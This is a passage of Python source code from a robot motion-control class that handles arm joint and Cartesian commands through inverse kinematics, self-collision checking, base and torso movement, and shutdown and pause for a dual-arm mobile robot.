planningTime + self.dt #TRINAConfig.ur5e_control_rate\n #positionQueue.append(q)\n self.left_limb_state.commandSent = False\n self.left_limb_state.commandType = 0\n self.left_limb_state.difference = vectorops.sub(q,self.left_limb_state.sensedq)\n self.left_limb_state.commandedqQueueStart = deepcopy(self.left_limb_state.sensedq)\n self.left_limb_state.commandQueue = True\n self.left_limb_state.commandedq = []\n self.left_limb_state.commandeddq = []\n self.left_limb_state.cartesianDrive = False\n self.left_limb_state.commandedQueueDuration = duration\n self.left_limb_state.commandQueueTime = time.time()\n self._controlLoopLock.release()\n else:\n logger.warning('Left limb not enabled')\n print(\"motion.setLeftLimbPosition():Left limb not enabled\")\n print \n\n def setRightLimbPositionLinear(self,q,duration):\n \"\"\"Set right limb to moves to a configuration in a certain amount of time at constant speed\n\n Set a motion queue, this will clear the setPosition() commands\n\n Parameters:\n ----------------\n q: a list of 6 doubles. The desired joint positions.\n duration: double. The desired duration.\n \"\"\"\n logger.debug('number of joint positions sent : %d and duration is %d', len(q), duration)\n assert len(q) == 6, \"motion.setRightLimbPositionLinear(): Wrong number of joint positions sent\"\n assert duration > 0, \"motion.setRightLimbPositionLinear(): Duration needs to be a positive number\"\n #TODO:add velocity check. Maybe not be able to complete the motion within the duration\"\n #Also collision checks\n if self.right_limb_enabled:\n self._controlLoopLock.acquire()\n self._check_collision_linear_adaptive(self.robot_model,self._get_klampt_q(right_limb = self.right_limb_state.sensedq),self._get_klampt_q(right_limb = q))\n self.right_limb_state.commandSent = False\n self.right_limb_state.commandType = 0\n self.right_limb_state.difference = vectorops.sub(q,self.right_limb_state.sensedq)\n self.right_limb_state.commandedqQueueStart = deepcopy(self.right_limb_state.sensedq)\n self.right_limb_state.commandQueue = True\n self.right_limb_state.commandedq = []\n self.right_limb_state.commandeddq = []\n self.right_limb_state.cartesianDrive = False\n self.right_limb_state.commandedQueueDuration = duration\n self.right_limb_state.commandQueueTime = time.time()\n self._controlLoopLock.release()\n else:\n logger.warning('Right limb not enabled')\n print(\"motion.setRightLimbPosition():Right limb not enabled\")\n return\n\n def sensedLeftLimbPosition(self):\n \"\"\"The current joint positions of the left limb\n\n Return:\n --------------\n A list of 6 doubles. The limb configuration.\n \"\"\"\n if self.left_limb_enabled:\n return copy(self.left_limb_state.sensedq)\n else:\n logger.warning('left limb not enabled')\n print(\"motion().sensedLeftLimbPosition: left limb not enabled\")\n return [0]*6\n\n def sensedRightLimbPosition(self):\n \"\"\"The current joint positions of the right limb\n\n Return:\n --------------\n A list of 6 doubles. The limb configuration.\n \"\"\"\n if self.right_limb_enabled:\n return copy(self.right_limb_state.sensedq)\n else:\n logger.warning('Right limb not enabled')\n print(\"motion().sensedRightLimbPosition: right limb not enabled\")\n return [0]*6\n def setVelocity(self,qdot):\n \"\"\"set the velocity of the entire robot, under development rn\n\n \"\"\"\n #assert len(qdot) == 12, \"motion.setPosition(): Wrong number of dimensions of config sent\"\n #self.setLeftLimbVelocity(qdot[0:6])\n #self.setRightLimbVelcity(qdot[6:12])\n pass\n return\n\n def setLeftLimbVelocity(self,qdot):\n \"\"\"Set the left limb joint velocities\n\n Parameter:\n ----------------\n qdot: a list of 6 doubles. Joint velocities\n \"\"\"\n if self.left_limb_enabled:\n logger.debug('number of joint velocities sent : %d', len(qdot))\n assert len(qdot) == 6, \"motion.setLeftLimbVelocity()): Wrong number of joint velocities sent\"\n self._controlLoopLock.acquire()\n self.left_limb_state.commandSent = False\n self.left_limb_state.commandeddq = deepcopy(qdot)\n self.left_limb_state.commandedq = []\n self.left_limb_state.commandType = 1\n self.left_limb_state.commandQueue = False\n self.left_limb_state.difference = []\n self.left_limb_state.commandedqQueueStart = []\n self.left_limb_state.commandQueueTime = 0.0\n self.left_limb_state.commandedQueueDuration = 0.0\n self.left_limb_state.cartesianDrive = False\n self._controlLoopLock.release()\n else:\n logger.warning('Left limb not enabled')\n print(\"Left limb not enabled\")\n\n return\n\n def setRightLimbVelocity(self,qdot):\n \"\"\"Set the right limb joint velocities\n\n Parameter:\n ----------------\n qdot: a list of 6 doubles. Joint velocities\n \"\"\"\n if self.right_limb_enabled:\n logger.debug('number of joint velocities sent : %d', len(qdot))\n assert len(qdot) == 6, \"motion.setRightLimbVelocity()): Wrong number of joint velocities sent\"\n self._controlLoopLock.acquire()\n self.right_limb_state.commandSent = False\n self.right_limb_state.commandeddq = deepcopy(qdot)\n self.right_limb_state.commandedq = []\n self.right_limb_state.commandType = 1\n self.right_limb_state.commandQueue = False\n self.right_limb_state.difference = []\n self.right_limb_state.commandedqQueueStart = []\n self.right_limb_state.commandQueueTime = 0.0\n self.right_limb_state.commandedQueueDuration = 0.0\n self.right_limb_state.cartesianDrive = False\n self._controlLoopLock.release()\n else:\n logger.warning('Right limb not enabled')\n print(\"Right limb not enabled.\")\n return\n\n def setLeftEEInertialTransform(self,Ttarget,duration):\n \"\"\"Set the trasform of the arm w.r.t. the base frame, movement complsetLeftLimbCo\n \"\"\"\n start_time = time.time()\n if self.left_limb_enabled:\n self._controlLoopLock.acquire()\n\n initial = self.robot_model.getConfig()\n #initial = [0]*3 + [0]*7 +self.left_limb_state.sensedq+[0]*11+self.right_limb_state.sensedq+[0]*10\n #self.robot_model.setConfig(initial)\n\n goal = ik.objective(self.left_EE_link,R=Ttarget[0],t = Ttarget[1])\n # solver = ik.solver(objectives = goal)\n # solver.setActiveDofs(self.left_active_Dofs)\n # result = solver.solve()\n # iterations = solver.lastSolveIters()\n if ik.solve(goal,activeDofs = self.left_active_Dofs):\n # if ik.solve_nearby(goal,maxDeviation=3,activeDofs = self.left_active_Dofs):\n #if result:\n target_config = self.robot_model.getConfig()\n logger.info('IK solve successful')\n print(\"motion.setLeftEEInertialTransform():IK solve successful\")\n else:\n self._controlLoopLock.release()\n #\"warning\"\n logger.warning('IK solve failure: no IK solution found')\n print('motion.setLeftEEInertialtransform():IK solve failure: no IK solution found')\n return 'motion.setLeftEEInertialtransform():IK solve failure: no IK solution found'\n ik_solve_time = time.time() -start_time\n # print(\"Solving IK takes\", time.time() -start_time,' and {} iterations'.format(iterations))\n start_time_2 = time.time()\n res = self._check_collision_linear_adaptive(self.robot_model,initial,target_config)\n col_check_time = time.time()-start_time_2\n # print(\"collision checking takes\", time.time() - start_time_2)\n #print(res)\n if res:\n self._controlLoopLock.release()\n logger.warning('Self-collision midway')\n print('motion.setLeftEEInertialtransform():Self-collision midway')\n return 'motion.setLeftEEInertialtransform():Self-collision midway'\n else:\n logger.info('No collision')\n print(\"motion.setLeftEEInertialTransform():No collision\")\n\n self.robot_model.setConfig(initial)\n self._controlLoopLock.release()\n start_time = time.time()\n self.setLeftLimbPositionLinear(target_config[self.left_active_Dofs[0]:self.left_active_Dofs[5]+1],duration)\n # print(\"setting linear position takes\", time.time() - start_time)\n else:\n logger.warning('Left limb not enabled')\n print(\"Left limb not enabled.\")\n return ''\n\n def setLeftEEVelocity(self,v, tool = [0,0,0]):\n \"\"\"Set the end-effect cartesian velocity, in the base frame.\n\n Implemented using position control and IK. Will keep moving until infeasible.\n TODO: implement collision detection\n\n Parameter:\n --------------\n v: A list of 6 doubled. v[0:3] is the desired cartesian position velocities and v[3:6] is the desired rotational velocity\n\n \"\"\"\n if self.left_limb_enabled:\n self._controlLoopLock.acquire()\n self.left_limb_state.commandedq = []\n self.left_limb_state.commandeddq = []\n self.left_limb_state.commandQueue = False\n self.left_limb_state.difference = []\n self.left_limb_state.commandedqQueueStart = []\n self.left_limb_state.commandQueueTime = 0.0\n self.left_limb_state.commandedQueueDuration = 0.0\n self.cartesian_drive_failure = False\n ##cartesian velocity drive\n if len(v) == 3:\n self.left_limb_state.cartesianDriveV = deepcopy(v)\n self.left_limb_state.cartesianMode = 1\n\n elif len(v) == 6:\n self.left_limb_state.cartesianDriveV = deepcopy(v[0:3])\n self.left_limb_state.cartesianDriveW = deepcopy(v[3:6])\n self.left_limb_state.cartesianMode = 0\n else:\n #error\n logger.error('wrong input')\n print(\"motion.setLeftEEVelocity(): wrong input\")\n return\n\n self.left_limb_state.cartesianDrive = True\n (R,t) = self.left_EE_link.getTransform()\n self.left_limb_state.startTransform = (R,vectorops.add(so3.apply(R,tool),t))\n self.left_limb_state.driveTransform = (R,vectorops.add(so3.apply(R,tool),t))\n self.left_limb_state.driveSpeedAdjustment = 1.0\n self.left_limb_state.toolCenter = deepcopy(tool)\n self._controlLoopLock.release()\n else:\n logger.warning('Left limb not enabled')\n print(\"Left limb not enabled.\")\n\n return ''\n\n def setRightEEInertialTransform(self,Ttarget,duration):\n \"\"\"Set the trasform of the arm w.r.t. the base frame, movement complete in a certain amount of time\n\n This current version assmumes that the torso is at zero position.\n #TODO: implement version with torso not at zero.\n\n Parameter:\n ---------------\n Ttarget: A klampt rigid transform (R,t). R is a column major form of a rotation matrix. t is a 3-element list\n duration: double. The duration of the movement\n \"\"\"\n start_time = time.time()\n\n if self.right_limb_enabled:\n self._controlLoopLock.acquire()\n initial = self.robot_model.getConfig()\n\n #initial = [0]*3 + [0]*7 +self.left_limb_state.sensedq+[0]*11+self.right_limb_state.sensedq+[0]*10\n #self.robot_model.setConfig(initial)\n\n goal = ik.objective(self.right_EE_link,R=Ttarget[0],t = Ttarget[1])\n ## this is for debugging purposes only\n # solver = ik.solver(objectives = goal)\n # solver.setActiveDofs(self.right_active_Dofs)\n # result = solver.solve()\n # ik_solve_time = time.time() -start_time\n\n # iterations = solver.lastSolveIters()\n # this is for debugging purposes only\n if ik.solve(goal,activeDofs = self.right_active_Dofs):\n #if result:\n #if ik.solve_nearby(goal,maxDeviation=3,activeDofs = self.right_active_Dofs):\n target_config = self.robot_model.getConfig()\n logger.info('IK solve successful')\n print(\"motion.setRightEEInertialTransform():IK solve successful\")\n else:\n self._controlLoopLock.release()\n logger.warning('IK solve failure: no IK solution found')\n print('motion.setRightEEInertialtransform():IK solve failure: no IK solution found')\n return 'motion.setRightEEInertialtransform():IK solve failure: no IK solution found'\n start_time_2 = time.time()\n res = self._check_collision_linear_adaptive(self.robot_model,initial,target_config)\n col_check_time = time.time()-start_time_2\n\n #print(res)\n if res:\n self._controlLoopLock.release()\n logger.warning('Self-collision midway')\n print('motion.setRighttEEInertialtransform():Self-collision midway')\n return 'motion.setRighttEEInertialtransform():Self-collision midway'\n else:\n logger.info('No collision')\n print(\"motion.setRightEEInertialTransform():No collision\")\n\n self.robot_model.setConfig(initial)\n self._controlLoopLock.release()\n self.setRightLimbPositionLinear(target_config[self.right_active_Dofs[0]:self.right_active_Dofs[5]+1],duration)\n else:\n logger.warning('Right limb not enabled')\n print(\"Right limb not enabled. \")\n return ''\n\n def setRightEEVelocity(self,v, tool = [0,0,0]):\n \"\"\"Set the end-effect cartesian velocity, in the base frame.\n\n Implemented using position control and IK. Will keep moving until infeasible.\n TODO: implement collision detection\n\n Parameter:\n --------------\n v: A list of 6 doubled. v[0:3] is the desired cartesian position velocities and v[3:6] is the desired rotational velocity\n\n \"\"\"\n if self.right_limb_enabled:\n self._controlLoopLock.acquire()\n self.right_limb_state.commandedq = []\n self.right_limb_state.commandeddq = []\n self.right_limb_state.commandQueue = False\n self.right_limb_state.difference = []\n self.right_limb_state.commandedqQueueStart = []\n self.right_limb_state.commandQueueTime = 0.0\n self.right_limb_state.commandedQueueDuration = 0.0\n self.cartesian_drive_failure = False\n ##cartesian velocity drive\n if len(v) == 3:\n self.right_limb_state.cartesianDriveV = deepcopy(v)\n self.right_limb_state.cartesianMode = 1\n\n elif len(v) == 6:\n self.right_limb_state.cartesianDriveV = deepcopy(v[0:3])\n self.right_limb_state.cartesianDriveW = deepcopy(v[3:6])\n self.right_limb_state.cartesianMode = 0\n else:\n logger.error('wrong input')\n print(\"motion.setRightEEVelocity(): wrong input\")\n return\n\n self.right_limb_state.cartesianDrive = True\n (R,t) = self.right_EE_link.getTransform()\n self.right_limb_state.startTransform = (R,vectorops.add(so3.apply(R,tool),t))\n self.right_limb_state.driveTransform = (R,vectorops.add(so3.apply(R,tool),t))\n self.right_limb_state.driveSpeedAdjustment = 1.0\n self.right_limb_state.toolCenter = deepcopy(tool)\n self._controlLoopLock.release()\n else:\n logger.warning('Right limb not enabled.')\n print(\"Right limb not enabled.\")\n return ''\n\n def sensedLeftEETransform(self):\n \"\"\"Return the transform w.r.t. the base frame\n\n Return:\n -------------\n (R,t)\n \"\"\"\n if self.left_limb_enabled:\n return self.left_EE_link.getTransform()\n else:\n logger.warning('Left limb not enabled.')\n print(\"Left limb not enabled.\")\n return\n\n def sensedLeftEEVelcocity(self,local_pt = [0,0,0]):\n \"\"\"Return the EE translational and rotational velocity w.r.t. the base DataFrame\n\n Parameter:\n ----------------\n local_pt: the local point in the EE local frame.\n\n Return:\n ----------------\n (v,w), a tuple of 2 velocity vectors\n\n \"\"\"\n if self.left_limb_enabled:\n position_J = np.array(self.left_EE_link.getJacobian(local_pt))\n q_dot = TRINAConfig.get_klampt_model_q(left_limb = self.left_limb_state.senseddq)\n EE_vel = np.dot(position_J,q_dot)\n return ([EE_vel[3],EE_vel[4],EE_vel[5]],[EE_vel[0],EE_vel[1],EE_vel[2]])\n else:\n return \"NA\"\n\n def sensedRightEETransform(self):\n \"\"\"Return the transform w.r.t. the base frame\n\n Return:\n -------------\n (R,t)\n \"\"\"\n if self.right_limb_enabled:\n return self.right_EE_link.getTransform()\n else:\n logger.warning('Right limb not enabled.')\n print(\"Right limb not enabled.\")\n return\n\n def sensedRightEEVelcocity(self,local_pt = [0,0,0]):\n \"\"\"Return the EE translational and rotational velocity w.r.t. the base DataFrame\n\n Parameter:\n ----------------\n local_pt: the local point in the EE local frame.\n\n Return:\n ----------------\n (v,w), a tuple of 2 velocity vectors\n\n \"\"\"\n if self.right_limb_enabled:\n position_J = np.array(self.right_EE_link.getJacobian(local_pt))\n q_dot = TRINAConfig.get_klampt_model_q(right_limb = self.right_limb_state.senseddq)\n EE_vel = np.dot(position_J,q_dot)\n return ([EE_vel[3],EE_vel[4],EE_vel[5]],[EE_vel[0],EE_vel[1],EE_vel[2]])\n else:\n return \"NA\"\n\n def sensedLeftLimbVelocity(self):\n \"\"\" Return the current limb joint velocities\n\n Return:\n ---------------\n A list of 6 doubles. The joint velocities.\n \"\"\"\n if self.left_limb_enabled:\n return copy(self.left_limb_state.senseddq)\n else:\n logger.warning('Left limb not enabled.')\n print(\"Left limb not enabled.\")\n return\n\n def sensedRightLimbVelocity(self):\n \"\"\" Return the current limb joint velocities\n\n Return:\n ---------------\n A list of 6 doubles. The joint velocities.\n \"\"\"\n if self.right_limb_enabled:\n return copy(self.right_limb_state.senseddq)\n else:\n logger.warning('Right limb not enabled.')\n print('Right limb not enabled.')\n return\n\n def setBaseTargetPosition(self, q, vel):\n \"\"\"Set the local target position of the base.\n\n The base constructs a path to go to the desired position, following the desired speed along the path\n Parameter:\n ---------------\n q: a list of 3 doubles. The desired x,y position and rotation.\n Vel: double. Desired speed along the path.\n \"\"\"\n if self.base_enabled:\n logger.debug('dimensions : %d', len(q))\n assert len(q) == 3, \"motion.setBaseTargetPosition(): wrong dimensions\"\n self._controlLoopLock.acquire()\n self.base_state.commandType = 0\n self.base_state.commandedTargetPosition = deepcopy(q)\n self.base_state.pathFollowingVel = vel\n self.base_state.commandSent = False\n self._controlLoopLock.release()\n else:\n logger.warning('Base not enabled.')\n print('Base not enabled.')\n\n def setBaseVelocity(self, q):\n \"\"\"Set the velocity of the base relative to the local base frame\n\n Parameter:\n ---------------\n q: a list of 2 doubles. The linear and rotational velocites.\n \"\"\"\n if self.base_enabled:\n logger.debug('dimensions : %d', len(q))\n assert len(q) == 2 ,\"motion.setBaseVelocity(): wrong dimensions\"\n self._controlLoopLock.acquire()\n self.base_state.commandType = 1\n self.base_state.commandedVel = deepcopy(q)\n self.base_state.commandSent = False\n self._controlLoopLock.release()\n else:\n logger.warning('Base not enabled.')\n print('Base not enabled.')\n\n def setTorsoTargetPosition(self, q):\n \"\"\"Set the torso target position.\n\n Moves to the target as fast as possible.\n\n Parameter:\n --------------\n q: a list of 2 doubles. The lift and tilt positions.\n \"\"\"\n if self.torso_enabled:\n logger.debug('dimensions : %d', len(q))\n assert len(q) == 2, \"motion.SetTorsoTargetPosition(): wrong dimensions\"\n height, tilt = q\n self._controlLoopLock.acquire()\n self.torso_state.commandedHeight = height\n self.torso_state.commandedTilt = tilt\n self.torso_state.commandSent = False\n self._controlLoopLock.release()\n else:\n logger.warning('Torso not enabled.')\n print('Torso not enabled.')\n\n def sensedBaseVelocity(self):\n \"\"\"Returns the current base velocity\n\n Return:\n -----------\n A list of 2 doubles. Linear and Rotational velocities.\n \"\"\"\n if self.base_enabled:\n return copy(self.base_state.measuredVel)\n else:\n logger.warning('Base not enabled.')\n print('Base not enabled')\n\n def sensedBasePosition(self):\n \"\"\"Returns the current base position. Zero position is the position when the base is started.\n\n Return:\n -------------\n A list of 3 doubles. Position and rotation.\n\n \"\"\"\n if self.base_enabled:\n return copy(self.base_state.measuredPos)\n else:\n logger.warning('Base not enabled.')\n print('Base not enabled')\n\n def sensedTorsoPosition(self):\n \"\"\"Returns the current torso position\n\n Return:\n -------------\n A list of 2 doubles. The positions.\n \"\"\"\n if self.torso_enabled:\n return copy([self.torso_state.measuredHeight, self.torso_state.measuredTilt])\n else:\n logger.warning('Torso not enabled.')\n print('Torso not enabled.')\n\n def setLeftGripperPosition(self, position):\n \"\"\"Set the position of the gripper. Moves as fast as possible.\n\n Parameters:\n -----------------\n position: a list of 4 doubles, the angles of finger 1,2 , the angle of the thumb,\n the rotation of finger 1&2 (they rotate together)\n \"\"\"\n self._controlLoopLock.acquire()\n self.left_gripper_state.commandType = 0\n self.left_gripper_state.command_finger_set = deepcopy(position)\n self._controlLoopLock.release()\n\n def setLeftGripperVelocity(self,velocity):\n \"\"\"Set the velocity of the gripper. Moves as fast as possible.\n #TODO\n ###Under development\n \"\"\"\n self.left_gripper_state.commandType = 1\n self.left_gripper_state.command_finger_set = deepcopy(velocity)\n\n def sensedLeftGripperPosition(self):\n \"\"\"Return the current positions of the fingers.\n #TODO\n ###Under development\n \"\"\"\n return copy(self.left_gripper_state.sense_finger_set)\n\n def getKlamptCommandedPosition(self):\n \"\"\"Return the entire commanded position, in Klampt format. The base returns velocity instead\n \"\"\"\n if self.left_limb_state.commandedq and self.right_limb_state.commandedq:\n return TRINAConfig.get_klampt_model_q(self.codename,left_limb = self.left_limb_state.commandedq, right_limb = self.right_limb_state.commandedq,base = self.base_state.commandedVel + [0])\n else:\n return self.getKlamptSensedPosition()\n\n def getKlamptSensedPosition(self):\n \"\"\"Return the entire sensed Klampt position, in Klampt format.\n \"\"\"\n #return TRINAConfig.get_klampt_model_q(self.codename,left_limb = self.left_limb_state.sensedq, right_limb = self.right_limb_state.sensedq,base = self.base_state.measuredPos)\n return self.robot_model.getConfig()\n def shutdown(self):\n \"\"\"Shutdown the componets.\n\n \"\"\"\n self.shut_down_flag = True\n if self.mode == \"Physical\":\n if self.base_enabled:\n self.base.shutdown()\n if self.torso_enabled:\n self.torso.shutdown()\n if self.left_limb_enabled:\n self.left_limb.stop()\n if self.right_limb_enabled:\n self.right_limb.stop()\n #TODO: integrate gripper code\n if self.left_gripper_enabled:\n self.left_gripper.shutDown()\n\n elif self.mode == \"Kinematic\":\n self.simulated_robot.shutdown()\n return 0\n\n def isStarted(self):\n \"\"\"Return whether the robot has started\n\n Return:\n ------------\n bool\n \"\"\"\n return self.startUp\n\n def isShutDown(self):\n \"\"\"Return whether the robot is shutdown\n\n Return:\n ------------\n bool\n \"\"\"\n return self.shut_down_flag\n\n def moving(self):\n \"\"\"Returns true if the robot is currently moving.\n\n Return:\n ------------\n bool\n \"\"\"\n return self.left_limb.moving() or self.right_limb.moving() or self.base.moving() or self.left_gripper.moving() or self.torso.moving()\n\n def mode(self):\n \"\"\"Returns the current mode. \"Kinematic\" or \"Physical\"\n\n Return:\n ------------\n string\n \"\"\"\n return self.mode\n\n def stopMotion(self):\n \"\"\"Pause the motion of the robot, starting from the next control loop.\n\n This is not shutdown. Just a pause.\n \"\"\"\n self.stop_motion_flag = True\n self.stop_motion_sent = False\n self._purge_commands()\n return\n\n\n\n ### ------------------------- ###\n ###current change up to here#######\n def resumeMotion(self):\n \"\"\"Unpause the robot.\n\n After unpausing, the robot is still stationery until some new commands is added\n \"\"\"\n self.base.startMotion()\n self.startMotionFlag = False\n self.left_gripper.resume()\n return\n\n def mirror_arm_config(self,config):\n \"\"\"given the Klampt config of the left or right arm, return the other\n\n Paremeters:\n ---------------\n A list of 6 doubles. Limb configuration.\n\n Return:\n ---------------\n A list of 6 doubles. Limb configuration.\n \"\"\"\n RConfig = []\n RConfig.append(-config[0])\n RConfig.append(-config[1]-math.pi)\n RConfig.append(-config[2])\n RConfig.append(-config[3]+math.pi)\n RConfig.append(-config[4])\n RConfig.append(-config[5])\n\n for ele in RConfig:\n if ele >= 2*math.pi or ele <= -2*math.pi:\n print('out of range..')\n return []\n return RConfig\n\n def getWorld(self):\n \"\"\" Return the simulated robot\n\n Return:\n -------------\n The Klampt world of the simulated robot.\n \"\"\"\n if self.mode == \"Kinematic\":\n return self.simulated_robot.getWorld()\n else:\n print(\"wrong robot mode.\")\n\n def cartesianDriveFail(self):\n \"\"\" Return if cartedian drive has failed or not\n\n Return:\n ----------------\n bool\n \"\"\"\n return self.cartesian_drive_failure\n\n\n def setRobotToDefualt(self):\n \"\"\" Some helper function when debugging\"\"\"\n leftUntuckedConfig = [-0.2028,-2.1063,-1.610,3.7165,-0.9622,0.0974]\n rightUntuckedConfig = self.mirror_arm_config(leftUntuckedConfig)\n self.setLeftLimbPositionLinear(leftUntuckedConfig,1)\n self.setRightLimbPositionLinear(rightUntuckedConfig,1)\n\n ###Below are internal helper functions\n def _purge_commands(self):\n \"\"\"Clear all the motion commands\n \"\"\"\n self._controlLoopLock.acquire()\n if self.left_limb_enabled:\n self.left_limb_state.commandedq = []\n self.left_limb_state.difference = []\n self.left_limb_state.commandedqQueueStart = []\n self.left_limb_state.commandQueueTime = 0.0\n self.left_limb_state.commandedQueueDuration = 0.0\n self.left_limb_state.commandSent = True\n self.left_limb_state.commandQueue = False\n self.left_limb_state.commandeddq = []\n self.left_limb_state.cartesianDrive = False\n if self.right_limb_enabled:\n self.right_limb_state.commandedq = []\n self.right_limb_state.difference = []\n self.right_limb_state.commandedqQueueStart = []\n self.right_limb_state.commandQueueTime = 0.0\n self.right_limb_state.commandedQueueDuration = 0.0\n self.right_limb_state.commandSent = True\n self.right_limb_state.commandQueue = False\n self.right_limb_state.commandeddq = []\n self.right_limb_state.cartesianDrive = False\n if self.base_enabled:\n self.base_state.commandedVel = [0.0, 0.0]\n self.base_state.commandedTargetPosition = [] #[x, y, theta]\n self.base_state.commandSent = True\n if self.left_gripper_enabled:\n self.left_gripper_state.command_finger_set = [0.0, 0.0, 0.0, 0.0]\n if self.torso_enabled:\n self.torso_state.commandedHeight = 0.0\n self.torso_state.commandedTilt = 0.0\n self.torso_state.commandSent = True\n self.torso_state.leftLeg = 0\n self.torso_state.rightLeg = 0\n\n self._controlLoopLock.release()\n\n def _check_collision_linear(self,robot,q1,q2,discretization):\n \"\"\" Check collision between 2 robot configurations\n\n Parameters:\n -----------------\n robot: klampt robot model\n q1: a list of 6 doubles\n q2: a list of 6 doubles\n discretization: integers, the number of collision checks\n\n Return:\n -----------------\n bool\n \"\"\"\n\n lin = np.linspace(0,1,discretization)\n initialConfig = robot.getConfig()\n diff = vectorops.sub(q2,q1)\n counter = 0\n for c in lin:\n Q=vectorops.madd(q1,diff,c)\n robot.setConfig(Q)\n collisions = self.collider.robotSelfCollisions(robot)\n colCounter = 0\n for col in collisions:\n colCounter = colCounter + 1\n if colCounter > 0:\n return True\n #add_ghosts(robot,vis,[robot.getConfig()],counter)\n counter = counter + 1\n robot.setConfig(initialConfig)\n return False\n\n def _check_collision_linear_adaptive(self,robot,q1,q2):\n \"\"\" Check collision between 2 robot configurations, but with adaptive number of collision checks\n\n Parameters:\n -----------------\n robot: klampt robot model\n q1: a list of 6 doubles\n q2: a list of 6 doubles\n\n Return:\n -----------------\n bool\n \"\"\"\n discretization = math.ceil(vectorops.distance(q1,q2)/TRINAConfig.collision_check_interval)\n #print(\"N of discretization\",discretization)\n lin = np.linspace(0,1,discretization + 1)\n initialConfig = robot.getConfig()\n diff = vectorops.sub(q2,q1)\n counter = 0\n iteration_counter = 0\n for c in lin:\n if iteration_counter > 0:\n #print('_check_collision_linear():started',c)\n Q=vectorops.madd(q1,diff,c)\n robot.setConfig(Q)\n collisions = self.collider.robotSelfCollisions(robot)\n colCounter = 0\n for col in collisions:\n colCounter = colCounter + 1\n if colCounter > 0:\n return True\n #add_ghosts(robot,vis,[robot.getConfig()],counter)\n counter = counter + 1\n else:\n iteration_counter = iteration_counter + 1\n robot.setConfig(initialConfig)\n return False\n\n def _limit_arm_position(self,config):\n \"\"\"Modify the arm configuration to be within joint position limits\n\n Parameters:\n ---------------\n config: a list of 6 doubles\n\n Return:\n ---------------\n a list of 6 doubles\n \"\"\"\n modified = []\n for i in range(6):\n if config[i] > TRINAConfig.limb_position_upper_limits[i]:\n modified.append(TRINAConfig.limb_position_upper_limits[i])\n elif config[i] < TRINAConfig.limb_position_lower_limits[i]:\n modified.append(TRINAConfig.limb_position_lower_limits[i])\n else:\n modified.append(config[i])\n return modified\n\n def _arm_is_in_limit(self,config,upper,lower):\n \"\"\"Check if the config is within the limits\n\n Parameters:\n ---------------\n Lists of same length\n\n Return:\n ---------------\n bool\n \"\"\"\n for [q,qu,ql] in zip(config,upper,lower):\n if q > qu or q < ql:\n return False\n\n return True\n\n def _left_limb_cartesian_drive(self,current_transform):\n ###TODO: robot_model config is no longer updated in the main loop ....\n\n \"\"\" Calculate the next position command for cartedian velocity drive\n\n Parameters:\n -------------\n current_transform: klampt rigid transform.\n\n Return:\n -------------\n result flag\n target_configuration, a list of 6 doubles\n\n \"\"\"\n v = self.left_limb_state.cartesianDriveV\n w = self.left_limb_state.cartesianDriveW\n amount = self.dt * self.left_limb_state.driveSpeedAdjustment\n #print(\"Before:\",self.left_limb_state.driveTransform)\n #print(v,amount,vectorops.mul(v,amount))\n target_transform = (so3.mul(so3.from_moment(vectorops.mul(w,amount)),\\\n self.left_limb_state.driveTransform[0]),vectorops.add(\\\n self.left_limb_state.driveTransform[1],vectorops.mul(v,amount)))\n\n ###debugging\n\n #print(\"After:\",self.left_limb_state.driveTransform)\n #joint position limits from the joint speed limit\n joint_upper_limits = vectorops.add(self.left_limb_state.sensedq,vectorops.mul(\\\n TRINAConfig.limb_velocity_limits,self.dt))\n joint_lower_limits = vectorops.add(self.left_limb_state.sensedq,vectorops.mul(\\\n TRINAConfig.limb_velocity_limits,-self.dt))\n if self.left_limb_state.cartesianMode == 0:\n goal = ik.objective(self.left_EE_link,R=target_transform[0],\\\n t = vectorops.sub(target_transform[1],so3.apply(target_transform[0],self.left_limb_state.toolCenter)))\n elif self.left_limb_state.cartesianMode == 1:\n goal = ik.objective(self.left_EE_link,local = [0,0,0], \\\n world = vectorops.sub(target_transform[1],so3.apply(target_transform[0],self.left_limb_state.toolCenter)))\n #elif self.left_limb_state.cartesianMode == 2:\n # goal = ik.objective(self.left_EE_link,R=target_transform[0])\n initialConfig = self.robot_model.getConfig()\n res = ik.solve_nearby(goal,maxDeviation=0.5,activeDofs = self.left_active_Dofs,tol=0.000001)\n\n # print(\"\\n\\n\\n number of iterations: \",ik.)\n failFlag = False\n if res:\n if self._arm_is_in_limit(self.robot_model.getConfig()[self.left_active_Dofs[0]:self.left_active_Dofs[5]+1],joint_upper_limits,joint_lower_limits):\n pass\n else:\n failFlag = True\n else:\n failFlag = True\n #print(\"motion.controlLoop():IK solution not found\")\n if failFlag:\n self.left_limb_state.driveSpeedAdjustment = self.left_limb_state.driveSpeedAdjustment - 0.1\n if self.left_limb_state.driveSpeedAdjustment < 0.001:\n self.left_limb_state.cartesianDrive = False\n logger.error('CartesianDrive IK has failed completely,exited..')\n print(\"motion.controlLoop():CartesianDrive IK has failed completely,exited..\")\n return 0,0 # 0 means the IK has failed completely\n else:\n #print(\"motion.controlLoop():CartesianDrive IK has failed, next trying: \",\\\n # self.left_limb_state.driveSpeedAdjustment)\n return 1,0 # 1 means the IK has failed partially and we should do this again\n else:\n target_config = self.robot_model.getConfig()[self.left_active_Dofs[0]:self.left_active_Dofs[5]+1]\n self.left_limb_state.driveTransform = target_transform\n if self.left_limb_state.driveSpeedAdjustment < 1:\n self.left_limb_state.driveSpeedAdjustment = self.left_limb_state.driveSpeedAdjustment + 0.1\n\n self.robot_model.setConfig(initialConfig)\n\n return 2,target_config #2 means success..\n\n def _right_limb_cartesian_drive(self,current_transform):\n \"\"\" Calculate the next position command for cartedian velocity drive\n\n Parameters:\n -------------\n current_transform: klampt rigid transform.\n\n Return:\n -------------\n result flag\n target_configuration, a list of 6 doubles\n\n \"\"\"\n v = self.right_limb_state.cartesianDriveV\n w = self.right_limb_state.cartesianDriveW\n amount = self.dt * self.right_limb_state.driveSpeedAdjustment\n #print(\"Before:\",self.right_limb_state.driveTransform)\n #print(v,amount,vectorops.mul(v,amount))\n target_transform = (so3.mul(so3.from_moment(vectorops.mul(w,amount)),\\\n self.right_limb_state.driveTransform[0]),vectorops.add(\\\n self.right_limb_state.driveTransform[1],vectorops.mul(v,amount)))\n #print(\"After:\",self.right_limb_state.driveTransform)\n #joint position limits from the joint speed limit\n joint_upper_limits = vectorops.add(self.right_limb_state.sensedq,vectorops.mul(\\\n TRINAConfig.limb_velocity_limits,self.dt))\n joint_lower_limits = vectorops.add(self.right_limb_state.sensedq,vectorops.mul(\\\n TRINAConfig.limb_velocity_limits,-self.dt))\n if self.right_limb_state.cartesianMode == 